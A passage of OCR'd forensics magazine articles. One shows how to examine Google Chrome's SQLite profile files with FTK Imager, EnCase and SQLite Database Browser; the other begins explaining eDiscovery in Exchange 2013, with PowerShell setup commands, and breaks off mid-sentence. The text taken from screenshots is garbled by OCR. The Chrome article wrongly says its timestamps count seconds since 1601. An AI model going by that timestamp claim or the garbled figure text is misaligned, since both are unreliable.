. User StyleSheets 0 Directory 6/24/2013 5:44....
|| Archived History 140 Regular File 6/24/2013 5:38:...
|| Archived History-jour... 16 RegularFile 6/24/2013 5:38....
Bookmarks 6 Regular File 12/20/201212....
|| Bookmarks.bak 6 RegularFile 12/20/201212....
Q Cookies 258 Regular File 6/24/2013 5:38....
|| Cookies-journal 16 Regular File 6/24/2013 5:38....
L_j Current Session 372 RegularFile 6/24/2013 5:38:...

Figure 3. FTK Imager showing Google Chrome File structure

In Figure 3 we utilize FTK Imager, 3.1.3.2 to take a look at the file structure found in the Chrome data-
base. Since we are examining an SQLite database it is worthy to note that FTK Imager does render the
file system and as we proceed along with this tool we will learn that it does many other helpful things!

Here we can see that Chrome has both directory files listed and also regular files. Each one is marked
with a date and time stamp. If you look closely at the date and time stamps you will see that FTK Imager
renders them in the local time setting of the image these files were retrieved from. This is a great boon to
an examiner. Nearly every case a forensic examiner works depends on the date and time stamp of the
file system and knowing that these are accurate can easily help an examiner determine which files are
of interest and which are not.

Just by glancing at the names of some of these files | am sure you will be interested in what they con-
tain. Bookmarks, cookies, archived history, all could contain valuable evidence that need to be exam-
ined. FTK Imager is a free tool that does a surprisingly good job handling these SQLite database files so
make good use of it!
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File List

Name | Size | Type | Date Modified |
|| History-journal 16 Regular File 6/24/2013 5:38:...
|| Last Session 17 Regular File 6/9/2013 12:08:...
|| Last Tabs 12 Regular File 6/9/2013 12:08:...
| Login Data 12 Regular File 12/19/2012 5:5...
|| Login Data-journal 1 Regular File 12/19/2012 5:5...
|| Managed Mode Settin... 1 RegularFile 6/24/2013 5:32....
| Netwerk Action Predic.., 31 RegularFile 6/24/2013 5:36:...
|| Network Action Predic.., 14 Regular File 6/24/2013 5:36:...
__ Origin Bound Certs 11 Regular File 2/12/2013 8:02....
__ Origin Bound Certs-jo... 4 RegularFile 2/12/2013 8:02....
|| Preferences 110 RegularFile 6/24/2013 5:38:...
. README 1 RegularFile 12/19/2012 5:5...
|| Shortcuts 12 RegularFile 6/24/2013 5:36:...
__| Shortcuts-journal 13 RegularFile 6/24/2013 5:36:...
__ Top Sites 136 Regular File 6/24/2013 5:37:...

Figure 4. FTK Imager showing Chrome database files

So, let us make use of this free tool and look a little closer at some of these files. At random | decided
to utilize the date of 06/24/2013 as a pivot point in my investigation. As the pivot point | know that the files
that were modified, created, accessed etc. on that date will probably have some bearing on my case and
| should take a closer look at them. Here we decide to take a closer look at the file named “Network Ac-
tion Predictor.” Again this is merely a random choice for the purpose of this article, in a real investigation
you would, of course, have other viable reasons for examining this file.
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Figure 5. FTK Imager drill down into network action predicator

Here FTK Imager allows us to drill down with surprising accuracy into the file we mentioned before. It
provides us with some great details of what the file contains. As we can see this file shows a web ad-
dress of www.eforensicsmagazine. It also shows us that this was entered into the Bing search engine by
the user. With the date and time stamp in Figure 5 confirmed we know that this user searched for www.
efornesicsmagazine on this date and time. A surprising amount of information which would greatly aid

any investigation.
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As | prepared for this article | did this type of exercise with a variety of files and found the results to be
the same. FTK Imager did a great job of providing us with a way of getting inside of the SQLite database
and taking a look around. But wait, we aren’t done with FTK Imager just yet!

Figure 6. FTK Image showing Chrome file system

Now another interesting file in many investigations would one called “Media Cache.” This would de-
pend, of course, on the type of investigation you are handling, but for the sake of this article we will take

a look here.

File List

Name Size | Type | Date Modified |

_ || _000655 120 Regular File 6/24/2013 5:35:...
__ f_000656 88 Regular File 6/24/2013 5:35:...
|| f_000657 56 Regular File 6/24/2013 5:36....
| f_000658 56 Regular File 6/24/2013 5:36....
| f_000659 41 Regular File 6/24/2013 5:36....
| f_00065a 25 Regular File 6/24/2013 5:36....
__ f 00065¢ 109 Regular File 6/24/2013 5:36....
__ f_00065d 123 Regular File 6/24/2013 5:36....
__ f_00065e 30 Regular File 6/24/2013 5:36....
___ f_00065f 33 Regular File 6/24/2013 5:36:...
| 000660 60 Regular File 6/24/2013 5:36....
000661 23 Regular File 6/24/2013 5:36:...
|| f_000662 32 RegularFile 6/24/2013 5:36....
|| f_000663 66 Regular File 6/24/2013 5:36....
| f_ 000664 17 Regular File 6/24/2013 5:36....

Figure 7. FTK Imager closer look at media cache

So we drill down a little bit more and we see that the media cache folder is filled with files listed as
“f_00***.” FTK Imager lists them as Regular File and again provides us with date and time stamps as
well as file sizes. Let us get a little bit closer!
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Figure 8. FTK Imager picture showing Chrome file in media cache

Now here is a surprise! We have an actual image capture by Google Chrome from the user browsing
the Internet. This is the same file as is highlighted in Fig. 7, f_000655. This is an excellent piece of evi-
dence and a great way to recover exactly what the user was doing on the Internet at this point in time.
Now, my research is by no means conclusive, but | did not discover any paper on the Internet that de-
tailed FTK Imager as a means of examining Google Chrome database files. | hope that you can see that
this is a great method of getting into the Chrome files and drilling down deep into the data that is con-
tained within the databases.

As an extra piece of information for the reader. When | did my Internet searching using Google Chrome, one
of the websites | visited was Network Minor, which is where the picture in Fig. 8 came from. Chrome holds a
wealth of information that the forensic examiner can discover and utilize to forward their investigation.

It should go without saying that FTK Imager is free and does a great job with Chrome, so how would
FTK itself work? The easy answer is, great! Imager is a close relative to FTK and not as complex, so
when you examine with FTK you are going to be pleased with the results.

USING ENCASE TO EXAMINE CHROME DATABASE FILES

Another popular tool in the forensic community is EnCase. EnCase is a tool that does a great job in a
wide variety of circumstances and is used widely throughout the world. So, let us see what kind of help
it can provide the forensic examiner when dealing with Google Chrome files.
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Figure 9. Google Chrome folder as it appears in EnCase

- | ¢ Bdoet

L Enterprine
1 Examples
I Forermic
B Indude
B Man
& Bouree Procrmar

7

/////////////%

So if we take the acquired Google Chrome folder and open it with EnCase we can begin to examine
the file structure and data held within. In figure 9 | have taken a screen shot of this action taking place so
that you can see what it looks like. EnCase breaks down the file structure for the user in the upper right
hand pane, also called the tree pane. Let us take a closer look here.

[ Home| 2 Fie Extents @ Permissions {i1References X «» ||
3000 Enties
&0 &3 Single Files
20 ) Google
S-OCIE Chrome

{23 Media Cache
[>) Pepper Data
[JIC3) Session Storage
[ User StyleSheets
&0 PepperFiash
—OO) SwiftShader
Lo Temp
—D(J() CrashReports
— D)) GBScreensaver
®-0IC) Picasa2Albums

Figure 10. EnCase Tree Pane showing file structure
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Here in the tree pane EnCase provides us with an overall view of the file structure of the Chrome fold-
er. As you can see, it contains much the same information as was found when we utilized FTK Imager.
Again, | focused upon the “Default” folder which is going to contain items of interest for a forensic exam-
iner during an examination.

In the “Default” folder we can see that we have 8 different files. These files will all hold different informa-
tion with some possible overlap so we will have to be careful as we proceed into the examination in or-
der not to miss anything that could be important to the case! Remember also that Chrome is in a SQLite
database format, so that might just provide us with some differences as we drill down further in EnCase.

i | rebe| Zlreport [l Galery 5 Tmelne 45 Code

i no ngt £ T\-H;e GmF:w - Cioth i T =

3 2| (3 Archived History File, Archive 062513 04:27:20PM  06/25/13 04:27:20°
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1 31 (3 Bockmarks File, Archive 06/25/1304:27:20PM  06/25/13 04:27: 2001
O 4| () Bockmarks.bak bk Backup(2) Archive File, Archive 08/25/1304:27:20°M  06/25/13 0:27: 20PN
() &2 Cade Folder,, Invalkd Cluster

O 6| () Cookies Fie, Archive 06/25/1304:27:21PM  06/25/13 04:27:21PH
1 7 | [ cookies-journal File, Archive 06/25/1304:27:21PM  06/25/13 0%:27:21P1,
1 8| () Curent Session Fie, Archive 08/25/1304:27:21PM  06/25/13 0 27:21P,
L) 9] () Current Tabs File, Archive 05/25/13 04 2T21PM  06/25/13 0027 20P
] 10 ) Extension State Foldar, Invaid Cluster

O 11| Extensions Folder, Invalid Cluster
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Figure 11. EnCase Table Pane View of Chrome Files

Moving across the screen in EnCase we come to a more detailed view of what files are found in the
“Default” folder. As before, in FTK Imager, we see many of the same file names, timestamps and areas
of interest. So far Imager and EnCase are running neck and neck in giving us an insider view of Google
Chrome.

Now for the sake of argument, let us take a look at the same file here in EnCase that we did in FTK.
Remember file “f_0006557” It was an image file, captured from a browsing session during which | visited
the Network Minor site. Now we will take a look at it in EnCase and see if there are some differences.
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Figure 12. EnCase view of f_000655



So, we have located our file and EnCase gives us a view inside the file itself. Take note of the bottome
pane, in EnCase called the “View Pane.” It is here that we would expect to see the file rendered in it's
native format. Now, we know that this was an image file, but EnCase is only showing us some klingon
here! Let us take a closer look.
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Figure 13. EnCase View Pane of f_000655

As we get a closer look at the code here, we can see some interesting items. In the very first line of
code we can see that this file has a file header listing it as a .png file. This would align with what we have
discovered about this file earlier in FTK Imager.

We can see that a .png file shows up in the test of this file, which provides us with a clue as to what it
contains, however EnCase fails to translate this into a format that is easy for the human eye to discern!
This can be a weakness when working a forensic examination, so having multiple tools available can
help you out immensely. As | researched for this article | continued to browse through this section to see
if any other easy to identify file formats jumped out at me and the below listed hex code caught my eye.
It was found easily, just by browsing down the EnCase Table Pane with an eye on the View Pane. If you
take note of the hex below you will see that it starts wtih “OxFF-D8.” Most forensic examiners can tell you
what header information will be found in a .jpeg format and this is it!

EO 00 10 4A 46 49 46 00 01 02 00 00 01 00 01 00 00 FF FE 00 04 2A 00 FF E2 02 1C 49 43 43 5F 50 52
4F 46 49 4C 45 00 01 01 00 00 02 OC 6C 63 6D 73 02 10 00 00 6D 6E 74 72 52 47 42 20 58 59 5A 20 07 DC 00 01
00 19 00 03 00 29 00 39 61 63 73 70 41 50 50 4C 00 00 00 00 00 00 0O 00 0O 00 0O 00 00 00 OO 00 00 00 00 00
00 00 00 00 00 00 F6 D6 00 01 00 00 00 00 D3 2D 6C 63 6D 73 00 00 00 00 00 00 00O 00 00 00 OO 00 00 00 00 00
00 00 00 00 00 00 00 00 0O 00 0O 00 0O 00 0O 00 0O 00 OO 00 OO 00 OO 00 0O 00 OO 00 00 00 OO OA 64 65 73 63
00 00 00 FC 00 00 00 5E 63 70 72 74 00 00 01 5C 00 00 00 OB 77 74 70 74 00 00 01 68 00 00 00 14 62 6B 70 74
00 00 01 7C 00 00 00 14 72 58 59 5A 00 00 01 90 00 00 00 14 67 58 59 5A 00 00 01 A4 00 00 00 14 62 58 59 5A
00 00 01 B8 00 00 00 14 72 54 52 43 00 00 01 CC 00 00 00 40 67 54 52 43 00 00 01 CC 00 00 00 40 62 54 52 43
00 00 01 CC 00 00 00 40 64 65 73 63 00 00 00 00 00 00 00 03 63 32 00 00 00 00 00 00 00 00

WORD SEARCHING IN ENCASE

Another great tactic that is available when using EnCase is the word search function. The examiner can
craft his/her own word list and then search through the forensic image for those words. This can come
in very handy during investigations, so | thought that it might be helpful when examining Google Chrome
files as well. The results? Keep reading my friends!

| crafted a small word list, only four words, just to experiment with the process and see what happened.

After crafting the four word search list | ran the search. It only took about a minute to complete and my
results were in! See them in the images below.
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Figure 14. EnCase Word Search
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Figure 15. EnCase Word Search Results

In the forensics world there is a running debate about automating the work versus hands on forensics.
I do not know which side of the debate | will come out on, but as of right now | am in the middle. There
are some processes that certainly come out ahead being automated, saving the examiner loads of time
and effort. But, there will be other processes that a good old fashioned hands on approach is much bet-
ter. Here, EnCase can help the examiner out by providing us with an automated tool that will allow you
to quickly search through the Google Chrome folders for keywords pertinent to your case, cutting down
on the time you might have to take in searching each file by hand.

In the word search, remember just four words, EnCase came back with an astounding 5,598 hits! As |
did this little bit of experimentation | did a little looking around while | was there in EnCase with Chrome
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open. | found that Chrome was not only recording my Internet activity, but it had also made some entries on
other things that were going on on my computer! This was a surprise to say the least. | had been working
a small case involving a local law enforcement agency and as | browsed around the search hits from the
word search | started seeing file fragments from that case. Now, | do not know the how or the why, yet, as
to why Chrome was holding these little tidbits, but | now know that it does. Chrome’s program code is public
so more research could certainly be completed to learn more about these kinds of incidents.

That last bit of knowledge could come in handy when examining a case and coming up against some-
thing unexpected. Hopefully a researcher somewhere will delve further in Chrome and its activities on a
computer once it has been downloaded and installed! Sadly that would be beyond the scope of this ar-
ticle, so | will say adieu at this point, but do keep it in mind.

SQLITE DATABASE BROWSER

Another open source tool that you can use to find your way around the Google Chrome SQLlite database
files would be the SQLite Database Browser. This is an open source, freeware tool, that has some great
applications when searching through the Chrome file system.. The Browser can be found on Source-
forge at http://sqlitebrowser.sourceforge.net. It is free to download and operates on several different
operating systems. The program | utilized for this article was for the MAC OSX operating system and it
worked well with the Chrome image that | had created. So, if you are a beginning forensic examiner who
is short on cash, this could be a great tool for you to utilize. If you are an advanced forensic examiner,
don’t forget the open source tools. You can never have too many tools in the toolkit!

SQLite Database Browser (SDB) for the rest of the article, runs in a GUI format that is very user friendly.
Once you have downloaded SDB and installed it you can start examining the files within Google Chrome.

There are many different options available to you when you are using SDB, far too many to cover in the
rest of this article, so experiment and learn as you go!

Do seeoe B K
l EEE:E Structu [ Browse Data  Execute SQL |

Name Object | Type |Schema

Figure 16. SQLite Database Browser
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Browse Data  Execute SQL |
Name Object | Type Schema
Ymeta table CREATE TABLE meta(key LONGVARCHAR NOT NULL UNIQUE PRIMARY ...
key field LONCVARCHAR PRIMARY KEY
value field LONGVARCHAR
vurls table CREATE TABLE urls{id INTEGER PRIMARY KEY,url LONCVARCHAR title L...
id field INTEGER PRIMARY KEY
url field LONGVARCHAR
title field LONCVARCHAR
visit_count field  INTEGER
typed_count field INTECER
last_visit_time field INTEGER
hidden field INTEGER
favicon_id field  INTEGER
rvisits table CREATE TABLE visits(id INTEGER PRIMARY KEY,url INTECER NOT NULL,...
b visit_source table CREATE TABLE visit_source(id INTEGER PRIMARY KEY,source INTECER ...
¥keyword_search_terms table CREATE TABLE keyword_search_terms (keyword_id INTEGER NOT NUL...
keyword_id field INTECER
url_id field  INTEGER
lower_term field LONCVARCHAR
term field LONCVARCHAR
sqlite_autoindex_meta_1 index
visits_url_index index CREATE INDEX visits_url_index ON visits {url)
visits_from_index index CREATE INDEX visits_from_index ON visits (from_visit)
visits_time_index index CREATE INDEX visits_time_index ON visits (visit_time)
urls_url_index index CREATE INDEX urls_url_index ON urls (url)

Figure 17. SQLite Database Browser Structure Fields

In figure 17 | had loaded up one of the files from Chrome and took a look at the database structure lay-
out. As you can see SDB lays out the various fields for you and gives a brief description of each one. This
should help you to better understand the way SQLlite works as it holds information and in what format.
Many forensic examiners have little experience working with database structures so this is a good way
to start learning about it. Do not ever pass up the opportunity to gain new knowledge!

D> e B K
| Database Structure _ Execute SQL |

Table: | cookies - @ New Record Delete Record
creation_ute hosit_key name value path expires_ule secure httponly last_access_

687 231046268228 .mediabdegree: acs 018020e0f0h0} / 783085000000 0 0231046268

688 231046401226 .addthis.com |di HTBH2216%22% / 3032085000000 0 0231109873

689 231046573226 .contextweb.co V blcbLyvpRZpe [ 335085000000 0 0231046573
690 231046573227 .contextweb.co pb_rtb_ev "2-530912.XX9 / 767046573227 0 0231046573

691 231046573228 bh.contextweb, NSC_mhb-ci.dj ffffffff09c11c8c / 231145000000 0 1231046573

692 231046643226 .pubmatic.com PUBRETARGET 461_14505546 / 292378000000 0 0231046643

693 231124195154 .dell.com S_pers %20gpv_pn3%3C / 232924000000 0 0231124195

694 231124283154 .jobs.dell.com __utma 35946171.157:/ 303124000000 0 0231124283

695 231124283155 .jobs.dell.com __utmb 35946171.18.9// 232924000000 0 0231124283

696 231124283157 .jobs.dell.com __utmz 35046171.135./ 999124000000 0 0231124283

697 231124303154 .dell.com __unam 2bab46d-13c2! / 764800000000 0 0231124303
698 231124343154 .dell.112.207.n s_vi [CSIv1|2876DE: / 911163000000 0 0231124343
699 231124518154 jobs.dell.com __atuvc 967C2 / 303124000000 0 0231124518

700 231124553155 .addthis.com |uid 50d20290a6b6 / 303124000000 0 0231124553

701 231124555154 .addthis.com |__atuvc 3%7CS51%2C8%: / 303124000000 0 0231124555

702 354698208375 .atdmt.com ANON A=32E2541A8: / 783386000000 0 0 568733280

703 354698209375 .atdmt.com NAP V=1.9&E=d3ak / 783386000000 0 0 568733280

704 354717042625 .foxnews.com weatherloc %7B%22locatior / 754717000000 0 0 354784581

705 354719976625 .foxnews.com weatherdata__L/%78%22weather / 365519000000 0 0 354784581

< | 1-8900f890 = Coto: | 0

Figure 18. SQLite Database Browser Cookies Folder



So in the interest of forensic excellence | loaded up the Chrome Cookies folder. Everyone loves cook-
ies, especially a forensic examiner! As you can see in the picture there is quite a bit of information for us
to examine in the cookies folder. But the important thing that | want you to notice is the time stamp sec-
tion. It is very different than those we saw in FTK Imager and EnCase and you need to understand why
this is so.

In Google Chrome a different format is followed when stamping the files with the date. The timestamp
information are not constructed in an Epoch format, rather it is done as the number of seconds since
midnight UTC of 1 January 1601. This has been noted before in several papers on Chrome. Throughout
Chrome files you will notice that several different file formats are used. In other files the timestamp is in
UTC. I am not sure as to why the different formats are used but you should be aware of this in case time-
stamps end up playing a large role in your investigation.

D@ > = ?
| Database Structure ['m Execute SQL |

Table: | thumbnails # &, New Record Delete Record
url url_rank | ritle thumbnail redirects boring_score good_clipping at_top lase_i
1 http:/ /vwww.google.com/chror 2 Welcome to Go http:/ /www.go 1.0 0 04133
2 https://chrome.google.com/w 3 Chrome Web St https:/ /chrome 1.0 0 04133
3 http://sans.org/ 0 SANS Infor http:/ [www.sar 1.0 Q 0/569C
4 https:/ /ieanline.microsoft.comn 1 https:/ fieonlin 1.0 0 0 569C
1-40fd| > Goto: |0

Figure 19. SDB Chrome Top Sites Folder

In Figure 19 | pulled out a file that could be of interest during an investigation. It is called “top sites.” Just
the name alone should be enough to pique your investigative curiosity, right? So here they are. Since
Chrome was new on the system | used there aren’t a whole lot of sites present, but Chrome does keep
a record on the top visited sites by user. Again, this could be of high importance in many types of cases
you could find yourself working. Chrome records the url of the site visited, it’s title, the redirect and gives
it an “url_rank.” These are all great items to be able to include in a forensic report so hopefully you will
remember that this is there for you to examine and use!

SUMMARY

In this article we took an in-depth look at the program Google Chrome. We learned that it is based upon
SQLite databases and that it can be examined utilizing a wide variety of tools. Chrome holds a huge
amount of data that can be searched and accessed to assist in a great number of investigations. We
looked at both free and purchased software and learned a great deal about the strengths of having both
at your disposal.

www.eForensicsMag.com € »



/
/ eI:or“enslcs
, a g azine

Remember to bring your forensic training and skills to the examination of the Google Chrome database
structure. We saw many types of files and naming conventions that would immediately lead us to believe
that there was a high probability that evidence would exist in certain locations. We also, briefly, discussed
the timestamps found within Chrome and the differences that you can expect to see. My hope is that this
knowledge will assist you in future investigations and help to protect the world of 1’s and 0’s.
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EMAIL EDISCOVERY IN
A MICROSOFT WORLD

by Eric Vanderburg
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Microsoft Exchange provides email services for organizations
and enterprises in many companies. In fact, it is the dominant
player in this space. eDiscovery efforts often focus on email
messages and their associated attachments in litigation and
Microsoft has built in preservation, searching and review features
into their product to ease the burden of eDiscovery efforts. This
article explains the features Microsoft provides out of the box
and how organizations can use these features.

What you will learn:

* How to preserve mailboxes for
eDiscovery with Microsoft Ex-
change

* How SharePoint and Exchange in-
tegrate for eDiscovery

» Estimation, previewing and copy-
ing of search results in Exchange

What you should know:

* Query syntax for searching re-
tained messages for eDiscovery

» Exchange permissions required to
perform searches

* What Exchange can do natively
for eDiscovery preservation and
review

lectronic discovery (eDiscovery) may have once been a foreign term.
E However, it is now, due largely to the growth and relevance of electron-

ic information in litigation, both a common term and a common chal-
lenge for companies large and small. eDiscovery is the process of preserv-
ing, filtering, reviewing and producing Electronically Stored Information (ESI).
Email is often the first item looked at in eDiscovery and it has been crucial to
many cases as emails often contain conversations about projects and draft
documents and revisions. The largest corporate email system in use is Mi-
crosoft's Exchange and it is the one that this article will explore in regards to
eDiscovery. The first step in email eDiscovery is preservation. Once data is
determined to be potentially relevant to current or expected litigation, compa-
nies put litigation hold on the data to prevent it from being altered or deleted.

PRESERVING MAILBOXES FOR EDISCOVERY

There are eDiscovery requests that will require users to have mailbox con-
tents preserved until lawsuits or investigations are concluded. Messages that
have been altered or deleted by mailbox users, along with the other process-
es need to be preserved as well. Using Exchange 2013, such can be accom-
plished through the litigation hold option. Litigation holds in Exchange 2013
allow email administrators to preserve the desired mailbox items. ltems are
preserved when deleted whether they were deleted by automatic procedures
or intentionally by users. ltems under litigation hold can be queried to search
or retain items that match specific criteria. Litigation holds can be used to pre-
serve emails for a specific duration or for an indefinite period.

Using Exchange 2013, users can make use of the eDiscovery and litiga-

tion hold wizard for searching items and preserving them when required
or when they are to meet several business requirements. Here are some
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caveats to Microsoft’s solution that have to be taken into account when using the wizard. Firstly,
the option to conduct a search on all mailboxes cannot be used. Users must first select distribution
groups or individual mailboxes before conducting a search. Secondly, eDiscovery searches cannot
be removed if a search will also be used for litigation hold. The litigation hold option needs to first be
disabled in order to remove a search.

USING MICROSOFT EXCHANGE FOR EDISCOVERY

The Exchange Search creates content indexes that can be utilized for eDiscovery. Delegation of discov-
ery tasks is made easier with Role Based Access Control (RBAC). This reduces the need for elevated
privileges, which would otherwise be essential to allow users to make operational changes. The Ex-
change Admin Center (EAC) also provides a search interface that is easy to use even for non-technical
personnel including Human Resources (HR) professionals, records managers or compliance officers.
With the help of Microsoft Exchange, authorized users can conduct discovery searches and select one
of three possible search options.

The first option is to estimate the search results. This option returns the estimated total number and
size of items to be returned basing on the specified criteria. This is useful for determining if the search
results are adequate for review. Attorney review time is precious and it is important to be specific enough
to reduce the review set to a manageable number but to not miss out on important files. The second op-
tion is to preview the search results. This shows all the messages that have been returned from mailbox
searches. The third option is to copy the search results. Users can select this option if they want to have
the messages copied on to their Discovery mailbox.

Exchange Online and Exchange 2013 both provide for federated search capability as well as integra-
tion with Microsoft’'s SharePoint Online and SharePoint 2013. Federated searches allow for multiple or-
ganizations or systems to be searched if each belongs to the federation. With the use of eDiscovery Cen-
ter, users can search and litigation hold contents associated with a case and these can include archived
Lync contents, Exchange mailbox contents, SharePoint indexed file shares, documents and websites.

QUERIES

eDiscovery makes use of KQL or Keyword Query Language. This is a querying syntax that comes simi-
lar to AQS or Advanced Query Syntax, used in Instant Search. Users who exercise familiarity with KQL
may easily create effective search queries for indexes of search contents. KQL is made up of free text
keywords such as words or phrases and property restrictions which filter the search based on metadata
such as document author, file type or creation date. For example, the following search would find all Mi-
crosoft Word documents created by Eric Vanderburg with the word eDiscovery in them.

eDiscovery author:”Eric Vanderburg” filetype:docx

REQUIRED PERMISSIONS

Users must be added to the Discovery Management role group to be able to do an eDiscovery search.
The role group provides the mailbox search privilege, which allows users to do the eDiscovery search,
and the legal hold privilege, which allows users to place mailboxes on litigation hold.

Permissions for eDiscovery associated tasks are assigned by members of the Organization Manage-
ment group. These users can add people to their Discovery Management Role Group. They also have
the privilege to create custom groups should they intend to narrow down the discovery manager’s scope
to subsets of users. Use the following procedure to add users to groups [1].

Navigate to Permissions, then Admin roles.

Select Discovery Management in the list view and then click Edit.
Click Add (the plus sign) in the Role Group, under Members.

In Select Members, select 1 or more users, click Add then OK.
Click Save in the Role Group.

Alternatively, the procedure can be accomplished using the Exchange management shell as can be
seen in the following command that adds a user called UserA to the Discovery Management group.

Add-RoleGroupMember -Identity “Discovery Management” -Member UserA
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Users that do not belong to the role group or have not been assigned a search role will not be able to
see the user interface for eDiscovery and litigation hold within the EAC. The eDiscovery cmdlets typically
displayed in the Exchange management shell will also not be made available for these users.

CREATION OF A DISCOVERY MAILBOX

Microsoft Exchange creates, by default, Discovery mailboxes [2]. These are the target mailboxes used
for eDiscovery searches within the Exchange Admin Center (EAC). They can be created anytime re-
quired. However, it is important to note that these mailboxes cannot be converted to other types or re-
purposed. They can be removed though, as with other types of mailboxes. The Exchange management
shell is typically used for the creation of a Discovery mailbox. This is an example syntax for how a mail-
box “evanderburg” can be created:

New-Mailbox evanderburg -Discovery -UserPrincipalName evanderburg@eforensicsmag.com

INTEGRATING SHAREPOINT ONLINE AND SHAREPOINT SERVER 2013

Exchange Online and Exchange 2013 can be integrated with SharePoint Online and Sharepoint 2013,
allowing discovery managers to centrally manage data from Exchange and SharePoint with a single
portal and to better manage cases and export results. eDiscovery Center provides the ability to per-
form search and preservation activities from one location. Authorized discovery managers may search
and then preserve the contents across Exchange and SharePoint, including Lync contents as archived
shared documents or instant message conversations.

eDiscovery Center can be used for case management. Users can create a case, search or preserve
contents across several content repositories through a case management approach to eDiscovery. Last-
ly, eDiscovery Center allows for the exporting of search results. Discovery managers may use the eDis-
covery Center for the export of search results. Any mailbox content that will be included can be exported
to a PST file.

To configure eDiscovery Center Exchange and Sharepoint [3], first configure the server-to-server veri-
fication for Microsoft Exchange 2013 on the server running the SharePoint 2013. This can be performed
in the Exchange management shell most easily. The following command will create the Exchange as a
trustworthy security token issuer for a server called MyServer

New-SPTrustedSecurityTokenIssuer -Name Exchange -MetadataEndPoint https://MyServer/autodiscover/
metadata/json/1

After that, the full control permission will need to be given to Exchange for a site subscription to Share-
Point 2013. These commands can be executed in the Exchange management shell to accomplish this
for the MyServer server.

Sexchange=Get-SPTrustedSecurityTokenIssuer

Sapp=Get-SPAppPrincipal -Site http://MyServer -Nameldentifier S$exchange.NameId

$site=Get-SPSite http://MyServer

Set-SPAppPrincipalPermission -AppPrincipal $app -Site $site.RootWeb -Scope sitesubscription -Right
fullcontrol -EnableAppOnlyPolicy

The setup of eDiscovery Center also requires server-to-server verification for SharePoint on the server
running Microsoft Exchange 2013. This can be configured with the following commands. The first com-
mand creates a directory for the scripts and the second command configures the application.

cd c:\’Program Files’\Microsoft\’Exchange Server’\V15\Scripts
.\Configure-EnterprisePartnerApplication.psl -AuthMetadataUrl <path to SharePoint AuthMetadataUrl>
-ApplicationType SharePoint

REVIEWING

Ah, finally the review. Microsoft hasn’t forgotten about that either. eDiscovery searches can be performed
with the use of the Exchange Admin Center’s (EAC) web-based interface. This way, even non-technical
users as legal or HR professionals, compliance officers, and records managers will find it easier to do the
eDiscovery. The Exchange management shell can also be used in performing searches.

« =



i

What allows users to create their eDiscovery search or use the litigation hold to put search results on liti-
gation hold is the EAC’s eDiscovery and litigation hold wizard. When users start a search, a search subject
will be created within the eDiscovery mailbox. This can be controlled to start, stop, modify or remove.

Once a search has been created, users can opt to obtain an estimated number of search results. This
shall include keyword statistics allowing them to determine the effectiveness of their query. They can also
preview all items that have been returned, message contents, total messages and how many have been
returned from the source mailboxes. This information can be used in fine-tuning the query when required.

When establishing eDiscovery searches, there are certain parameters that users need to be specified.
These include name, mailboxes and search queries. The first parameter is the name. The name is pri-
marily used for search identification. When copying search results to discovery mailboxes, folders will be
created using search names and timestamps to identify each search result uniquely.

The second parameter is the mailbox. Users may search mailboxes through the Exchange 2013 orga-
nization. In case that same search will be used in litigation holding items, mailboxes need to be specified.
Distribution groups can be organized to include the mailbox user’s part of the group. Group membership
is calculated after creating searches and when subsequent membership changes do not reflect automat-
ically in searches. Users’ archive and primary mailboxes are included in searches by default.

The third parameter is the search query. Mailbox contents may be included from specified mailboxes or
search queries can be used to return more relevant items. The parameters necessary to be specified in
search queries are keywords, start and end dates, recipients, and senders and message types.

The keyword is a primary element of the search query. Keywords can be specified in search mes-
sage contents. Users may also make use of logical operators such as AND, NOT and OR. In addition,
Exchange 2013 supports the NEAR operator. This will allow users to search words and phrases within
the proximity of other words or phrases. For example, if the search was for “head” NEAR “wound” then
searches with “head wound” would be ranked higher than “wound to the head” which would be higher
than “at the head intending to wound”.

It is important to enclose phrases in quotation marks when searching for exact matches of multiple
word phrases. For instance, searching “competition and plan” will return messages containing the ex-
act phrase match, whereas specifying competition AND plan will return messages containing the words,
competition and plan, anywhere within the message.

It is also important that logical operators like OR and AND are capitalized so they will be considered as
operators rather than as keywords. The use of explicit parenthesis is recommended for queries that mix
multiple operators so misinterpretations and mistakes can be avoided. For instance, searching for mes-
sages containing either LetterA or LetterB AND either LetterC or LetterB have to be expressed as (Let-
terA OR LetterB) AND (LetterC OR LetterD).

After keywords, the next search query parameter you should know and understand is the use of start
and end dates. As per default, eDiscovery doesn’t have any limit on searches by date range. When
searching for messages sent on a particular date range, users can narrow their search by making spe-
cific the start and the end dates. If end dates are not specified, searches will return with the latest results
each time users restart. Search queries often use recipients and senders to filter search results. It is
also possible to narrow searches down by specifying senders and recipients of the messages. Domain
names, display names and email addresses and may be used for an easier search.

Lastly, message types are also a common parameter of search queries. All message types are searched
by default if a message type is not provided. However, users can restrict their searches by picking out par-
ticular message types, such as journals, notes, meetings, Lync contents, contacts, email or documents.

There are several caveats to reviewing documents in the EAC. Attachments that are not natively sup-
ported by Exchange will require specific filters to be installed on the mailbox server in order for them to
be indexed. Some items are not indexable. Microsoft labels these items unsearchable. These include
items such as Windows Media Audio (WMA), Apple Quicktime MOV files and mp3 files and many others.
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The Exchange Search cannot index messages that have been encrypted with the use of technologies
such as S/MIME. Hence, eDiscovery doesn’t return search results for these messages. When users se-
lect to include items, which are unsearchable in their search results, the encrypted messages would then
be copied on to discovery mailboxes.

Exchange does support Information Rights Management (IRM) protected items. The Exchange Search
can index messages that are protected using IRM. They are hence included in search results in case
they match the query parameters. IRM messages need to be protected with the use of AD RMS Active
Directory Rights Management Service cluster in the Active Directory forest similar to the Mailbox servers
in order for Exchange to index them.

De-duplication is also available in Exchange. When it comes to having search results copied on to dis-
covery mailboxes, users are able to de-duplicate search results to copy only one instance of an exclusive
message to a discovery mailbox. There are benefits surrounding de-duplication of results. These include:

Lower requirements for storage

Smaller size of discovery mailbox due to the reduced number of copied messages

Reduced workload on the part of discovery managers, or legal counsel

Reduced cost for the eDiscovery, although this will depend on how many duplicate items will be ex-
cluded from the search results

ESTIMATION, PREVIEWING AND COPYING OF SEARCH RESULTS

After completing an eDiscovery search, users can get a view of the result estimates in the EAC’s De-
tails pane. Estimates typically include how many items have been returned and what the total size of the
items is. Users will also be given the opportunity to get a view of the keyword statistics. This returns de-
tails concerning the items that have been returned for all keywords used in search queries. The informa-
tion is most helpful in finding out whether or not the queries have been effective.

Queries that are too broad will most likely return bigger data sets. These will need more resources for
review and hence, raise the costs for doing the eDiscovery. On the other hand, queries that are too nar-
row will significantly bring a reduction to the amount of returned records causing some valuable data to
be missed. Sometimes, this will even result to no records being returned at all. Keyword statistics and
